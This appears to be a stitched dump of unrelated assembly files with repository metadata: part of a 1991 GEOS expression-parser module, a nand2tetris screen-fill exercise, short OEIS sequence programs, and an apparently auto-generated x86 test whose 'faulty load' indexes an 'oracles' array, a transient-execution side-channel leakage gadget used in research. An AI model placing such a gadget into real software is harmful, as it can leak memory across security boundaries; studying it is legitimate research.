REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 5/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CountNamesCallback proc near
uses ax, si
.enter
cmp al, PARSER_TOKEN_NAME
jne quitContinue
;
; It's a name, call back to the application to find out if it's a new
; one.
;
; In the first pass, we simply saved the offset of the name
; in the text we were parsing. In the second pass, we get back
; the pointer to the string, and call back to the application
; to ask it to resolve the name for us, if it can.
;
push cx, ds ; Save name count, token segment
mov si, ds:[si].PTND_name ; si <- offset to the name
add si, ss:[bp].PP_textPtr.offset
mov ds, ss:[bp].PP_textPtr.segment
call FindIdentifierLength ; cx <- length of the string
mov al, CT_CHECK_NAME_EXISTS
if FULL_EXECUTE_IN_PLACE
push bx
mov ss:[TPD_dataBX], bx
mov ss:[TPD_dataAX], ax
movdw bxax, ss:[bp].CP_callback
call ProcCallFixedOrMovable ; ds:si = token data
pop bx
else
call ss:[bp].CP_callback ; Does it exist?
endif
pop cx, ds ; Restore name count, token segment
jc quitContinue ; Branch if it exists
;
; It's a brand new name, add one to the name count.
;
inc cx ; One more new name
quitContinue:
clc ; Please continue
.leave
ret
CountNamesCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckNameSpace
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see that there is enough name space to parse
this expression.
CALLED BY: ParserParseString
PASS: ss:bp = Pointer to ParserParameters
cx = # of new names this expression references
RETURN: carry set on error
al = Error code (ParserScannerEvaluatorError)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 5/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckNameSpace proc near
mov al, CT_CHECK_NAME_SPACE
if FULL_EXECUTE_IN_PLACE
pushdw ss:[bp].CP_callback
call PROCCALLFIXEDORMOVABLE_PASCAL
else
call ss:[bp].CP_callback ; Check for enough name space
endif
jnc quit ; Branch if no error
call ParserReportError ; Otherwise save the error
quit:
ret
CheckNameSpace endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ResolveNameReferences
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Resolve references to names made in the expression
CALLED BY: ParserParseString
PASS: ss:bp = Pointer to ParserParameters on the stack
es:dx = Pointer to start of stream of tokens
RETURN: carry set on error
al = Error code (ParserScannerEvaluatorError)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Run through the parsed expression, calling back for each name
and for each function.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 2/15/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ResolveNameReferences proc near
uses di
.enter
mov di, offset cs:ResolveNameCallback
call ProcessTokenStream ; Resolve the references
jnc quit ; Branch if no error
mov al, cl ; al <- error code (if any)
call ParserReportError ; Report an error
quit:
.leave
ret
ResolveNameReferences endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ResolveNameCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Resolve a single name
CALLED BY: ResolveNameReferences via ProcessTokenStream
PASS: al = Token type
ds:si = Token data
ss:bp = Pointer to ParserParameters
RETURN: carry set on error
cl = Error code (ParserScannerEvaluatorError)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 5/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ResolveNameCallback proc near
uses bx, dx, di, si, ds, es
.enter
cmp al, PARSER_TOKEN_NAME ; Check for a name
je resolveThing ; Branch to resolve the item
cmp al, PARSER_TOKEN_FUNCTION
jne nextToken ; Skip to next token
resolveThing:
;
; It's a name or function. Call the application and ask it to
; resolve it.
;
push ds, si ; Save ptr to token stream
mov si, ds:[si].PTND_name ; si <- offset to the name
mov dx, si ; dx <- position of token start
add si, ss:[bp].PP_textPtr.offset
mov ds, ss:[bp].PP_textPtr.segment
call FindIdentifierLength ; cx <- length of the string
;
; Save the position of the identifier and the end of the identifier
; so that if there's an error we can show the user where it is.
;
mov ss:[bp].PP_tokenStart, dx
add dx, cx ; dx <- end of the token
DBCS< add dx, cx ; char count to byte offset >
mov ss:[bp].PP_tokenEnd, dx
mov dx, ax ; Save token in dx
;
; Now that we have a pointer and a length we need to decide whether
; we are resolving a name or function.
;
cmp al, PARSER_TOKEN_FUNCTION
jne resolveName ; Branch if it's a name
;
; It should be a function. Check to see if it's a built-in function.
;
call IsFunction ; Check if it's a function
; carry set if it's a function
mov al, PSEE_ILLEGAL_TOKEN ; This is the code if there is an error
cmc ; Reverse the carry
jc popAndQuitOrSaveID ; Quit if not a function
;
; Is a function, di holds the ID of the function.
;
mov cx, di ; Want the value in cx
jmp popAndQuitOrSaveID ; Branch to save it
resolveName:
;
; Don't resolve names if they aren't allowed
;
test ss:[bp].PP_flags, mask PF_NAMES
jz illegalToken ; Branch if names are not allowed
mov al, CT_NAME_TO_TOKEN ; Convert name to a token
if FULL_EXECUTE_IN_PLACE
pushdw ss:[bp].CP_callback
call PROCCALLFIXEDORMOVABLE_PASCAL
else
call ss:[bp].CP_callback ; Call the application
endif
popAndQuitOrSaveID:
;
; If the carry is set here, we quit. Otherwise we save the token or
; function id (in cx).
;
pop ds, si ; Restore ptr to token stream
jc reportError ; Branch on error
mov ax, dx ; Restore token
mov ds:[si].PTND_name, cx ; Save the name token
nextToken:
clc
quit:
.leave
ret
illegalToken:
mov al, PSEE_ILLEGAL_TOKEN
stc
jmp popAndQuitOrSaveID
reportError:
call ParserReportError
mov cl, al ; Return error in cl
jmp quit
ResolveNameCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IsFunction
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see if a string is a function name
CALLED BY: ScanIdentifier
PASS: ss:bp = Pointer to ParserParameters
ds:si = Pointer to the string
cx = Length of the string
RETURN: carry set if the string is a function name
di = Function ID
PP_flags with the PF_CONTAINS_DISPLAY_FUNC bit set if the
function is one of the "display only" types.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
All string lengths in the table are bytes. For DBCS
only the strings themselves are 'wchar's.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/17/91 Initial version
witt 10/21/93 DBCS-ized table searching.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IsFunction proc near
uses ax, bx, cx, es
.enter
test ss:[bp].PP_flags, mask PF_FUNCTIONS
jz done ; functions not allowed (carry clear)
tst ch ; Function names are <256 characters
jnz notFunction ; Branch if larger than 256 characters
NOFXIP< segmov es, dgroup, ax ; es:di <- ptr to array of pointers >
FXIP < mov_tr ax, bx >
FXIP < mov bx, handle dgroup >
FXIP < call MemDerefES ; es = dgroup >
FXIP < mov_tr bx, ax >
mov di, offset funcTable
mov bx, length funcTable ; bx <- size of the table
stringCompareLoop:
;
; ds:si = Pointer to string to check
; cx = Length of the string
; bx = # of strings to check
; es:di = Pointer to pointer to string to check against
;
push di ; Save ptr
mov di, es:[di] ; es:di <- ptr to string to check
mov al, es:[di] ; al <- length of the string
cmp cl, al ; Make sure the lengths are the same
jne nextFunction ; Branch if lengths differ
inc di ; Skip the length byte
;
; ds:si = Pointer to the string to check
; es:di = Pointer to string to compare it to (always ASCII)
; cx = # of characters to check
;
SBCS< call LocalCmpStringsNoCase >
DBCS< call ParseCmpStringsDBCSToSBCSNoCase >
je isFunction ; Strings matched
nextFunction:
pop di ; Restore ptr
add di, 2 ; Move to next ptr
dec bx ; One less to check
jnz stringCompareLoop ; Loop to check next one
jmp notFunction ; Branch if no functions matched
isFunction:
pop di ; Restore ptr
sub di, offset funcTable ; di <- offset into the table
mov di, es:funcIDTable[di] ; di <- function identifier
;
; Now we run through the displayOnly list to see if the function is
; included there.
; di = Function id.
; es = segment address of dgroup.
;
mov cx, length displayOnlyTable
clr bx ; Use bx as an index
displayOnlyLoop:
cmp di, es:displayOnlyTable[bx]
jne checkNext ; Branch if not found yet
;
; We found it, set the flag and quit.
;
or ss:[bp].PP_flags, mask PF_CONTAINS_DISPLAY_FUNC
jmp endDisplayLoop
checkNext:
add bx, 2 ; Move to next table entry
loop displayOnlyLoop ; Loop to check it out.
endDisplayLoop:
;
; Signal: We've found a function.
; di = Function id.
;
stc ; Signal: Is a function
done:
.leave
ret
notFunction:
;
; Call the application, perhaps this is an externally defined
; function.
;
mov al, CT_FUNCTION_TO_TOKEN
if FULL_EXECUTE_IN_PLACE
push bx
mov ss:[TPD_dataBX], bx
mov ss:[TPD_dataAX], ax
movdw bxax, ss:[bp].CP_callback
call ProcCallFixedOrMovable ; ds:si = token data
pop bx
else
call ss:[bp].CP_callback ; Call the application
endif
jmp done ; Quit
IsFunction endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ProcessTokenStream
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Run through a stream of tokens calling a callback for each one.
CALLED BY: CountNameReferences, ResolveNameReferences
PASS: es:dx = Pointer to token stream
ss:bp = Pointer to ParserParameters
di = Callback routine (near ptr)
cx = Parameters for the callback
RETURN: cx set by the callback
carry set by the callback
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
The callback should be defined as:
Pass:
ss:bp = Pointer to ParserParameters
al = Token type
ds:si = Pointer to token data
cx = Data from caller
Return:
cx = Data to return
carry set to abort
Destroyed:
nothing
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 5/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ProcessTokenStream proc near
uses ax, dx, si, ds, es
.enter
segmov ds, es, si ; ds:si <- ptr to token stream
mov si, dx
NOFXIP< segmov es, dgroup, dx ; es <- parserTokenSizeTable segment >
FXIP < mov_tr ax, bx ; ax = bx >
FXIP < mov bx, handle dgroup >
FXIP < call MemDerefES ; es = dgroup >
FXIP < mov_tr bx, ax ; restore bx >
tokenLoop:
;
; ds:si = Pointer to next token
;
clr ah
lodsb ; ax <- token
EC< cmp ax, ParserTokenType ; ax within range? >
EC< ERROR_AE EVAL_ILLEGAL_PARSER_TOKEN >
cmp al, PARSER_TOKEN_END_OF_EXPRESSION
je quitNoError ; Quit if end of expression
;
; Call the callback...
;
call di ; Call the callback
jc quit ; Branch on error
;
; es = Segment address of parserTokenSizeTable
; di = Callback
;
push di ; Save callback routine
mov di, ax
clr dh ; dx <- size of the token data
mov dl, es:parserTokenSizeTable[di]
pop di ;Restore callback routine
;
; al = Parser token type
; ds:si = Pointer to token data
; dx = size of `base' token
;
cmp al, PARSER_TOKEN_STRING
jne notString ; Branch if not a string
if DBCS_PCGEOS
mov ax, ds:[si].PTSD_length ; ax <- length of string
shl ax, 1 ; ax <- size of string
add dx, ax ; dx <- token size + string size
else
add dx, ds:[si].PTSD_length ; dx <- token size + length of string
endif
notString:
add si, dx ; ds:si <- next token
jmp tokenLoop ; Loop to do next token
quitNoError:
clc
quit:
.leave
ret
ProcessTokenStream endp
ParserCode ends
| 26.806015
| 79
| 0.61214
|
3d3a615300c5abfb979135270910833019117586
| 2,600
|
asm
|
Assembly
|
projects/04/fill/Fill.asm
|
adyavanapalli/nand2tetris
|
6103a72116e8bf1de1fb138a18d65109d28499f5
|
[
"Unlicense"
] | 1
|
2017-08-05T14:52:57.000Z
|
2017-08-05T14:52:57.000Z
|
projects/04/fill/Fill.asm
|
adyavanapalli/nand2tetris
|
6103a72116e8bf1de1fb138a18d65109d28499f5
|
[
"Unlicense"
] | null | null | null |
projects/04/fill/Fill.asm
|
adyavanapalli/nand2tetris
|
6103a72116e8bf1de1fb138a18d65109d28499f5
|
[
"Unlicense"
] | 1
|
2021-01-01T22:23:28.000Z
|
2021-01-01T22:23:28.000Z
|
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Fill.asm
// Runs an infinite loop that listens to the keyboard input.
// When a key is pressed (any key), the program blackens the screen,
// i.e. writes "black" in every pixel;
// the screen should remain fully black as long as the key is pressed.
// When no key is pressed, the program clears the screen, i.e. writes
// "white" in every pixel;
// the screen should remain fully clear as long as no key is pressed.
// Put your code here.
(STANDBY)
@KBD // 0: Set A=24576, M:=RAM[24576]
D=M // 1: Set D=RAM[24576]
@FILL // 2: Set A=FILL+1, M:=RAM[FILL+1]
D;JNE // 3: If D=RAM[24576] != 0, jump to A=FILL+1
@CLEAR // 4: Set A=CLEAR+1, M:=RAM[CLEAR+1]
0;JMP // 5: Jump to A=CLEAR+1
@STANDBY // 6: Set A=STANDBY+1, M:=RAM[STANDBY+1]
0;JMP // 7: Jump to A=STANDBY+1
(FILL)
@i // 8: Set A=16, M:=RAM[16]
M=0 // 9: Set RAM[16]=0
(LOOP_0)
@i // 10: Set A=16, M:=RAM[16]
D=M // 11: Set D=RAM[16]
@8192 // 12: Set A=8192, M:=RAM[8192]
D=D-A // 15: Set D=RAM[16]-8192
@STANDBY // 16: Set A=STANDBY+1, M:=RAM[STANDBY+1]
D;JEQ // 17: If D=0, jump to A=STANDBY+1
@i // 18: Set A=16, M:RAM[16]
D=M // 19: Set D=RAM[16]
@SCREEN // 20: Set A=16384, M:=RAM[16384]
A=D+A // 21: Set A=RAM[16]+16384
M=-1 // 22: Set RAM[16384]=-1=1111 1111 1111 1111
@i // 23: Set A=16, M:=RAM[16]
M=M+1 // 24: Set RAM[16]=RAM[16]+1
@LOOP_0 // 25: Set A=LOOP_0+1, M:=RAM[LOOP_0+1]
0;JMP // 26: Jump to A=LOOP_0+1
(CLEAR)
@i // 27: Set A=16, M:=RAM[16]
M=0 // 28: Set RAM[16]=0
(LOOP_1)
@i // 29: Set A=16, M:=RAM[16]
D=M // 30: Set D=RAM[16]
@8192 // 31: Set A=8192, M:=RAM[8192]
D=D-A // 32: Set D=RAM[16]-8192
@STANDBY // 33: Set A=STANDBY+1, M:=RAM[STANDBY+1]
D;JEQ // 34: If D=0, jump to A=STANDBY+1
@i // 35: Set A=16, M:RAM[16]
D=M // 36: Set D=RAM[16]
@SCREEN // 37: Set A=16384, M:=RAM[16384]
A=D+A // 38: Set A=RAM[16]+16384
M=0 // 39: Set RAM[16384]=0=0000 0000 0000 0000
@i // 40: Set A=16, M:=RAM[16]
M=M+1 // 41: Set RAM[16]=RAM[16]+1
@LOOP_1 // 42: Set A=LOOP_0+1, M:=RAM[LOOP_0+1]
0;JMP // 43: Jump to A=LOOP_0+1
| 42.622951
| 71
| 0.512308
|
447045cbeb433eb7e3328a303680a29e68ec8a78
| 7,954
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1085.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1085.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1085.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xb5bd, %rdx
nop
sub $37667, %r13
vmovups (%rdx), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdi
nop
nop
and $10242, %rsi
lea addresses_D_ht+0xb01d, %rbx
nop
nop
nop
nop
nop
xor $25253, %r15
mov $0x6162636465666768, %r14
movq %r14, (%rbx)
nop
nop
nop
add $54851, %rdx
lea addresses_A_ht+0xd2bd, %rsi
lea addresses_WT_ht+0x1dcbd, %rdi
and $21731, %r15
mov $55, %rcx
rep movsl
cmp $38387, %r14
lea addresses_UC_ht+0x165f, %r14
nop
nop
nop
nop
nop
sub %rdi, %rdi
movl $0x61626364, (%r14)
nop
nop
cmp %rbx, %rbx
lea addresses_WC_ht+0x1e485, %rsi
lea addresses_D_ht+0x3213, %rdi
nop
nop
nop
cmp %rdx, %rdx
mov $75, %rcx
rep movsw
nop
inc %rsi
lea addresses_UC_ht+0x413d, %rdi
nop
nop
add %r15, %r15
movb $0x61, (%rdi)
nop
nop
nop
nop
add %rbx, %rbx
lea addresses_D_ht+0xdd75, %rcx
clflush (%rcx)
nop
xor %rsi, %rsi
mov $0x6162636465666768, %r15
movq %r15, %xmm5
vmovups %ymm5, (%rcx)
nop
nop
nop
xor $27735, %r15
lea addresses_UC_ht+0xcd9d, %rdx
nop
nop
nop
dec %r15
mov (%rdx), %esi
nop
nop
sub $37019, %rcx
lea addresses_normal_ht+0x813d, %r15
nop
and %rsi, %rsi
mov (%r15), %r14w
nop
nop
nop
dec %rdi
lea addresses_WT_ht+0x5f51, %r15
nop
nop
nop
nop
add %rsi, %rsi
mov (%r15), %ecx
nop
sub %r14, %r14
lea addresses_D_ht+0x50ad, %rbx
nop
nop
nop
and $42029, %rsi
movl $0x61626364, (%rbx)
nop
nop
nop
nop
nop
and %r15, %r15
lea addresses_WC_ht+0x1189d, %rbx
nop
nop
nop
nop
add %rsi, %rsi
vmovups (%rbx), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rdi
nop
cmp %r13, %r13
lea addresses_D_ht+0x12f85, %rcx
nop
nop
and $46609, %rdi
movl $0x61626364, (%rcx)
nop
add %r15, %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %rax
push %rbx
push %rcx
push %rdx
// Store
lea addresses_normal+0x8dbd, %r15
clflush (%r15)
nop
cmp %rbx, %rbx
mov $0x5152535455565758, %r12
movq %r12, %xmm6
vmovntdq %ymm6, (%r15)
nop
nop
sub %rbx, %rbx
// Store
lea addresses_WT+0x489d, %rcx
nop
sub %r11, %r11
movb $0x51, (%rcx)
nop
nop
nop
nop
nop
inc %rcx
// Store
lea addresses_WT+0x15dbd, %r11
nop
nop
nop
nop
and $3964, %rdx
mov $0x5152535455565758, %rax
movq %rax, %xmm6
movups %xmm6, (%r11)
cmp $19647, %rdx
// Faulty Load
mov $0x70f38d0000000cbd, %r11
nop
nop
and %r15, %r15
mov (%r11), %rax
lea oracles, %rcx
and $0xff, %rax
shlq $12, %rax
mov (%rcx,%rax,1), %rax
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}}
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': True, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 2, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.420168
| 2,999
| 0.653759
|
78537c3bb9a07de56c3091aadf0419c7c7e8cb65
| 662
|
asm
|
Assembly
|
oeis/314/A314973.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/314/A314973.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/314/A314973.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A314973: Coordination sequence Gal.6.342.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Jon Maiga
; 1,5,9,14,20,26,32,38,44,49,53,58,63,67,72,78,84,90,96,102,107,111,116,121,125,130,136,142,148,154,160,165,169,174,179,183,188,194,200,206,212,218,223,227,232,237,241,246,252,258
mov $2,$0
seq $0,313802 ; Coordination sequence Gal.6.209.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
mov $1,2
add $1,$0
mul $0,2
mul $1,2
div $1,3
sub $1,1
add $1,$2
add $1,$2
sub $0,$1
| 41.375
| 182
| 0.725076
|
6cb9ca8d0c3c72b460e2922123745e33cfe2ed86
| 561
|
asm
|
Assembly
|
oeis/193/A193578.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/193/A193578.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/193/A193578.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A193578: (13^n+1)/2.
